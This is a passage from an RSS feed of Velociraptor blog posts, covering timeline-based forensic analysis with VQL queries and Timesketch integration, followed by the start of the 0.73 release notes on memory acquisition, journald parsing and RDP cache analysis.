row.&lt;/li&gt;&#xA;&lt;li&gt;Clicking on the event overview shows all fields in the event.&lt;/li&gt;&#xA;&lt;li&gt;Once the event is expanded, the event toolbar allows the user to&#xA;annotate the event.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;annotating-an-event&#34;&gt;Annotating an Event&lt;/h3&gt;&#xA;&lt;p&gt;When an event seems important, it can be annotated. Annotating an&#xA;event will copy it into a special time series within the&#xA;&lt;code&gt;Supertimeline&lt;/code&gt; called &lt;code&gt;Annotation&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/timeline_annotation_.svg&#34; alt=&#34;Annotating an event&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;417.1624946217579&#34;&#xA;         width=&#34;1372.0425348825802&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline_annotation.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Annotating an event&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The annotation should contain an explanation as to why this event is&#xA;relevant to the case.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/timeline_annotation_2_.svg&#34; alt=&#34;The annotated event&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;417.1624946217579&#34;&#xA;         width=&#34;1004.3614324532382&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline_annotation_2.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The annotated event&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The annotated event is added to a separate timeline, which may be&#xA;enabled or disabled similarly as the other time series. This allows us&#xA;to concentrate on the annotations separately from other time series.&lt;/p&gt;&#xA;&lt;h3 id=&#34;adding-further-time-series&#34;&gt;Adding further time series&lt;/h3&gt;&#xA;&lt;p&gt;As I collect other artifacts, I can get more information about the&#xA;case:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Collecting the &lt;code&gt;Windows.Sys.Users&lt;/code&gt; artifact enumerates the local&#xA;users on the system, and estimates the time that the user last&#xA;logged into the system by reporting the Modified time on the User&amp;rsquo;s&#xA;profile registry keys and home directory modification time.&lt;/p&gt;&#xA;&lt;p&gt;I reduce the data to show the Home directory modification time&#xA;(Last time the user logged into the account).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT HomedirMtime, Name, Description, Data&#xA;FROM source(artifact=&amp;quot;Windows.Sys.Users&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I will use the &lt;code&gt;HomedirMtime&lt;/code&gt; as the Timestamp column when adding&#xA;this time series.&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Collecting the &lt;code&gt;Windows.Forensics.Usn&lt;/code&gt; artifact can reveal&#xA;information about files created on the filesystem and their&#xA;creation timestamp. This gives us an idea of what files were&#xA;introduced into the system by the attackers.&lt;/p&gt;&#xA;&lt;p&gt;I reduce the data to show only created files in the time range of&#xA;interest which have a full reconstructed path.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT Timestamp, OSPath, Reason&#xA;FROM source(artifact=&amp;quot;Windows.Forensics.Usn&amp;quot;)&#xA;WHERE Timestamp &amp;gt; &amp;quot;2024-09-12&amp;quot;&#xA;  AND NOT OSPath =~ &amp;quot;Err&amp;quot;&#xA;  AND Reason =~ &amp;quot;CREATE&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Collecting the &lt;code&gt;Windows.Timeline.Prefetch&lt;/code&gt; artifact reveals&#xA;information about when executable files were run.&lt;/p&gt;&#xA;&lt;p&gt;I reduce the data to show any execution after the time of interest.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT event_time, message, source&#xA;FROM source(artifact=&amp;quot;Windows.Timeline.Prefetch&amp;quot;)&#xA;WHERE event_time &amp;gt; &amp;quot;2024-09-12&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Collecting the &lt;code&gt;Windows.System.TaskScheduler&lt;/code&gt; can reveal&#xA;information about new scheduled tasks added to the&#xA;system. Scheduled tasks are a common reinfection mechanism added by&#xA;attackers. Scheduled tasks are defined in XML files in the&#xA;&lt;code&gt;C:/Windows/System32/Tasks/&lt;/code&gt; directory. We can use the modification&#xA;time for these files to determine when they were last created or&#xA;updated.&lt;/p&gt;&#xA;&lt;p&gt;I reduce the data to show any scheduled tasks with the modification&#xA;times as the timeline&amp;rsquo;s timestamp&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT Mtime, OSPath, Command&#xA;FROM source(artifact=&amp;quot;Windows.System.TaskScheduler/Analysis&amp;quot;)&#xA;WHERE Mtime &amp;gt; &amp;quot;2024-09-12&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/supertimeline_.svg&#34; alt=&#34;The complete timeline with annotations&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;417.1624946217579&#34;&#xA;         width=&#34;935.0623876085301&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;supertimeline.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The complete timeline with annotations&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;exporting-the-annotations&#34;&gt;Exporting the annotations&lt;/h3&gt;&#xA;&lt;p&gt;Once we annotated the timeline we can export the annotations in a&#xA;table for reporting purposes. The &lt;code&gt;Timeline&lt;/code&gt; notebook template&#xA;provides a second cell that when recalculated exports the &lt;code&gt;Annotation&lt;/code&gt;&#xA;time series into a unique table.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/annotations_export_.svg&#34; alt=&#34;Exporting the annotations&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;417.1624946217579&#34;&#xA;         width=&#34;889.8638395136862&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;annotations_export.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Exporting the annotations&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I now can see what the attackers did. Once they logged in as&#xA;Administrator, they Disabled Windows Defender, Added a second admin&#xA;user account. Then they logged in as that account, created a scheduled&#xA;task for persistence, disabled the Bits client logs and then&#xA;downloaded &lt;code&gt;PsExec.exe&lt;/code&gt; renamed to &lt;code&gt;foo.exe&lt;/code&gt;. Finally the attackers&#xA;ran &lt;code&gt;whoami&lt;/code&gt; and used ping to establish network connectivity.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-timeline-workflow&#34;&gt;The Timeline workflow&lt;/h3&gt;&#xA;&lt;p&gt;To summarize, the general workflow is illustrated below&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/workflow_.svg&#34; alt=&#34;The general timeline workflow&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;579.3612914230722&#34;&#xA;         width=&#34;730.7341650549621&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;workflow.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The general timeline workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As we collect artifact from a group of hosts in a hunt, or&#xA;individually from specific clients, we post process the results in&#xA;order to identify high value events.&lt;/p&gt;&#xA;&lt;p&gt;The aim is to reduce the total number of events that are added to the&#xA;timeline in order to make it easier to review them.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately the product of the timeline exercise is to simply obtain&#xA;the &lt;code&gt;Annotation&lt;/code&gt; time series. This contains the manually reviewed and&#xA;annotated set of events to explain the progression of the incident.&lt;/p&gt;&#xA;&lt;h2 id=&#34;integration-with-third-party-timelining-tools&#34;&gt;Integration with third party timelining tools&lt;/h2&gt;&#xA;&lt;p&gt;Since the timeline workflow is so central to DFIR there are a number&#xA;of popular timelining tools out there. Probably the most popular is&#xA;&lt;a href=&#34;#ZgotmplZ&#34; target=&#34;_blank&#34; &gt;Timesketch&lt;/a&gt; - a collaborative timeline&#xA;analysis tool developed by the DFIR team at Google.&lt;/p&gt;&#xA;&lt;p&gt;Many people use Timesketch in conjunction with&#xA;&lt;a href=&#34;https://github.com/log2timeline/plaso&#34; target=&#34;_blank&#34; &gt;Plaso&lt;/a&gt; which is a timeline&#xA;based analysis engine for forensic bulk files (e.g. event logs,&#xA;filesystem metadata etc). The two tools are usually used in a pipeline&#xA;where Plaso extracts many time related events from various triaged&#xA;artifacts, storing them in the Timesketch database. This usually&#xA;results in millions of events - for example each MFT entry contains 16&#xA;distinct timestamps, leading to 16 distinct timeline events.&lt;/p&gt;&#xA;&lt;p&gt;In practice most of these events are not relevant and cloud the&#xA;analysis process by bombarding the user with many irrelevant&#xA;events. Users then use Timesketch itself to perform filtering and&#xA;analysis in order to remove the irrelevant data.&lt;/p&gt;&#xA;&lt;p&gt;This &amp;ldquo;Kitchen Sink&amp;rdquo; approach means that timeline becomes the main tool&#xA;for filtering and querying large events (with many irrelevant&#xA;fields). Contrast this with Velociraptor&amp;rsquo;s &amp;ldquo;targeted&amp;rdquo; approach as&#xA;descried above, where pre-filtering and data shaping/enriching occurs&#xA;&lt;strong&gt;before&lt;/strong&gt; the data is ingested into the timeline.&lt;/p&gt;&#xA;&lt;p&gt;We believe that Velociraptor&amp;rsquo;s &amp;ldquo;targeted&amp;rdquo; approach is superior than&#xA;the &amp;ldquo;Kitchen Sink&amp;rdquo; approach, but it does require a mindset shift and&#xA;for investigators to modify their processes.&lt;/p&gt;&#xA;&lt;p&gt;Nevertheless, Timesketch is an excellent tool with many users already&#xA;very familiar with it. Timesketch itself does not actually require&#xA;Plaso at all and can also be used in a targeted way. In fact it is&#xA;possible to feed any time series data to Timesketch.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor supports integrating with Timesketch using the&#xA;&lt;code&gt;Server.Utils.TimesketchUpload&lt;/code&gt; artifact.  This artifact uploads&#xA;Velociraptor&amp;rsquo;s timelines to Timesketch using the Timesketch client&#xA;library. The artifact assumes the client library is installed and&#xA;configured on the server.&lt;/p&gt;&#xA;&lt;p&gt;To install the Timesketch client library:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pip install timesketch-import-client timesketch-cli-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To configure the client library to access your Timesketch instance&#xA;see instructions &lt;a href=&#34;https://timesketch.org/guides/user/cli-client/&#34; target=&#34;_blank&#34; &gt;https://timesketch.org/guides/user/cli-client/&lt;/a&gt; and&#xA;&lt;a href=&#34;https://timesketch.org/guides/user/upload-data/&#34; target=&#34;_blank&#34; &gt;https://timesketch.org/guides/user/upload-data/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This artifact assumes that the timesketch CLI is preconfigured with&#xA;the correct credentials in the &lt;code&gt;.timesketchrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;You can use this artifact to manually upload any Velociraptor timeline&#xA;data to Timeline by simply specifying the &lt;code&gt;notebook_id&lt;/code&gt;, the&#xA;&lt;code&gt;supertimeline&lt;/code&gt; and the &lt;code&gt;timeline&lt;/code&gt; names. The Artifact will prepare&#xA;automatically create a sketch if required with the same name as the&#xA;Supertimeline, and add a timeline to it with the same name as the&#xA;timeline name provided.&lt;/p&gt;&#xA;&lt;h3 id=&#34;automatic-timesketch-uploads&#34;&gt;Automatic Timesketch uploads&lt;/h3&gt;&#xA;&lt;p&gt;While &lt;code&gt;Server.Utils.TimesketchUpload&lt;/code&gt; allows uploading timeline to&#xA;Timesketch it requires manual intervention. This makes it more complex&#xA;to use and increases friction.&lt;/p&gt;&#xA;&lt;p&gt;We can automate timeline exports using the&#xA;&lt;code&gt;Server.Monitoring.TimesketchUpload&lt;/code&gt; server monitoring artifact. This&#xA;artifact watches for any timelines added on the server and&#xA;automatically exports them to Timesketch in the background. This means&#xA;that the user does not need to think about it - all timelines created&#xA;within Velociraptor will automatically be added to Timesketch.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/configure_timesketch_export_.svg&#34; alt=&#34;Configuring the Server.Monitoring.TimesketchUpload artifact&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;683.5000000000001&#34;&#xA;         width=&#34;904.6666666666665&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;configure_timesketch_export.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the Server.Monitoring.TimesketchUpload artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To install the &lt;code&gt;Server.Monitoring.TimesketchUpload&lt;/code&gt; server monitoring&#xA;artifact, select &lt;code&gt;Server Events&lt;/code&gt; in the sidebar, then click the&#xA;&lt;code&gt;Update Server Monitoring Table&lt;/code&gt; button. Search for&#xA;&lt;code&gt;Server.Monitoring.TimesketchUpload&lt;/code&gt; and configure its parameters.&lt;/p&gt;&#xA;&lt;p&gt;The artifact allows for finer control over which timelines to are to&#xA;be exported - For example, maybe only timelines with a name that&#xA;starts with &lt;code&gt;Timesketch&lt;/code&gt; will be exported.&lt;/p&gt;&#xA;&lt;p&gt;Finally the path on the server to the timesketch client library tool&#xA;is required - this is the external binary we call to upload the actual&#xA;data.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/automating_timesketch_import_.svg&#34; alt=&#34;Automating Timesketch Import&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;683&#34;&#xA;         width=&#34;1226.2404371584698&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;automating_timesketch_import.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Automating Timesketch Import&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the server monitoring artifact is configured it simply waits&#xA;until a user adds a timeline to a Supertimeline in Velociraptor, as&#xA;described above. When that happens the timeline is automatically added&#xA;to Timesketch into a sketch named the same as the Velociraptor&#xA;Supertimeline.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-12-timelines//blog/2024/2024-09-12-timelines/timesketch_view_.svg&#34; alt=&#34;Viewing timelines in Timesketch&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;589&#34;&#xA;         width=&#34;1297.5716486902927&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timesketch_view.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing timelines in Timesketch&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be seen in the screenshot above, the same targeted timelines&#xA;are exported to Timesketch. This is most useful for existing&#xA;Timesketch users who are wish to continue using their usual timelining&#xA;tool in a more targeted way by pre-processing data in Velociraptor.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;Timeline analysis is an important part of many investigations. The&#xA;emerging Velociraptor built in timeline feature is a useful tool to&#xA;assist in the analysis and reporting of incident timelines.&lt;/p&gt;&#xA;&lt;p&gt;If you like to try this new feature, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available on&#xA;GitHub under an open source license. As always please file issues on&#xA;the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.73 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73/</link>
      <pubDate>Tue, 10 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release&#xA;0.73 is available for download.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;special-thanks&#34;&gt;Special Thanks&lt;/h2&gt;&#xA;&lt;p&gt;We would like to extend our thanks to the entire Velociraptor&#xA;Community, with a special mention for &lt;a href=&#34;https://github.com/misje&#34; target=&#34;_blank&#34; &gt;Andreas&#xA;Misje&lt;/a&gt; and &lt;a href=&#34;https://github.com/predictiple&#34; target=&#34;_blank&#34; &gt;Justin&#xA;Welgemoed&lt;/a&gt; who provided invaluable&#xA;testing, feedback and ideas to make this release awesome!&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-client-functionality&#34;&gt;New Client functionality&lt;/h2&gt;&#xA;&lt;h3 id=&#34;built-in-windows-memory-acquisition&#34;&gt;Built in Windows memory acquisition&lt;/h3&gt;&#xA;&lt;p&gt;Previously Velociraptor was able to acquire physical memory on Windows&#xA;using the Winpmem binary as an external tool - which was delivered to&#xA;the endpoint and executed to obtain the memory image.&lt;/p&gt;&#xA;&lt;p&gt;In this release, the Winpmem driver is incorporated into the&#xA;Velociraptor binary itself so there is no need to introduce additional&#xA;binaries to the endpoint. The driver is inserted on demand when an&#xA;image is required using the new VQL function&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/windows/winpmem/&#34;&gt;winpmem()&lt;/a&gt;. This&#xA;VQL function can compress the memory image, to make it faster to&#xA;acquire (less IO) and deliver over the network (less network bandwidth&#xA;required).&lt;/p&gt;&#xA;&lt;p&gt;The ability to access physical memory simply is also leveraged with&#xA;the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/accessors/winpmem/&#34;&gt;winpmem&lt;/a&gt;&#xA;accessor which allows for direct Yara scans with&#xA;&lt;code&gt;Windows.Detection.Yara.PhysicalMemory &lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-parse_journald-and-watch_journald-plugins&#34;&gt;Added parse_journald() and watch_journald() plugins&lt;/h3&gt;&#xA;&lt;p&gt;Journald is Linux&amp;rsquo;s answer to structured logging. Previously&#xA;Velociraptor implemented a simple parser using pure VQL. In this&#xA;release Velociraptor introduces a dedicated &lt;code&gt;journald&lt;/code&gt; parser.&lt;/p&gt;&#xA;&lt;p&gt;The new parser emulates the windows event log format, with common&#xA;fields grouped under the &lt;code&gt;System&lt;/code&gt; column and variable fields in&#xA;&lt;code&gt;EventData&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/journald.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Journald parser&#34;&#xA;         width=&#34;1280&#34; height=&#34;807&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;journald.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Journald parser&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This release also introduces a new VQL plugin &lt;code&gt;watch_journald()&lt;/code&gt; which&#xA;follows journald logs and forwards events to the server.&lt;/p&gt;&#xA;&lt;h3 id=&#34;add-rdp-cache-parser-to-rdp-cache-artifact&#34;&gt;Add RDP Cache parser to RDP Cache artifact&lt;/h3&gt;&#xA;&lt;p&gt;Attackers commonly use Remote Desktop (RDP) to laterally move between&#xA;systems. The Microsoft RDP client maintains a tile cache with&#xA;fragments of the screen.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes the RDP cache holds crucial evidence as to the activity of&#xA;the attacker on systems that ran the RDP client. This information is&#xA;now easily accessible using the new &lt;code&gt;Windows.Forensics.RDPCache&lt;/code&gt;&#xA;artifact contributed by &lt;a href=&#34;https://github.com/mgreen27&#34; target=&#34;_blank&#34; &gt;Matt Green&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-09-10-release-notes-0.73//blog/2024/2024-09-10-release-notes-0.73/rdp_cache.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the RDP cache tiles&#34;&#xA;         width=&#34;1913&#34; height=&#34;883&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;rdp_cache.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the RDP cache tiles&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-the-ability-to-dump-clear-text-network-traffic-for-debugging&#34;&gt;Added the ability to dump clear text network traffic for debugging&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor clients are often deployed in complex networks. It is&#xA;sometimes difficult to debug why network communications fail.&lt;/p&gt;&#xA;&lt;p&gt;This release introduces the ability for the client to record the plain&#xA;text communications between the client and server to a local file for&#xA;debugging purposes.&lt;/p&gt;&#xA;&lt;p&gt;Network communications are usually wrapped in TLS making network&#xA;captures useless for debugging. Because of the way Velociraptor pins&#xA;the TLS communications it is not easy to insert a MITM interceptor&#xA;proxy either.&lt;/p&gt;&#xA;&lt;p&gt;Adding the following to the client&amp;rsquo;s config will write plain text&#xA;communications into the specified file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Client:&#xA;   insecure_network_trace_file: /tmp/trace.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Running the client will show the following log message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[INFO] 2024-09-19T11:50:07Z Insecure Spying on network connections in /tmp/trace.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Make sure to disable this trace in production and only use it for&#xA;debugging communications, as it does weaken the network security.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Network traffic is still encrypted &#34;&gt;&lt;p&gt;Velociraptor uses two layers of encryption - messages between client&#xA;and server are encrypted using Velociraptor&amp;rsquo;s internal PKI scheme, and&#xA;&lt;strong&gt;in addition&lt;/strong&gt;, a HTTP over TLS connection is used to exchange those&#xA;messages.&lt;/p&gt;&#xA;&lt;p&gt;This means that the trace file is still not really completely in plain&#xA;text - it contains the encrypted messages in among the clear text HTTP&#xA;messages.&lt;/p&gt;&#xA;&lt;p&gt;However this should help debug issues around reverse proxies and MITM&#xA;proxies in production.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;new-server-functionality&#34;&gt;New Server Functionality&lt;/h2&gt;&#xA;&lt;h3 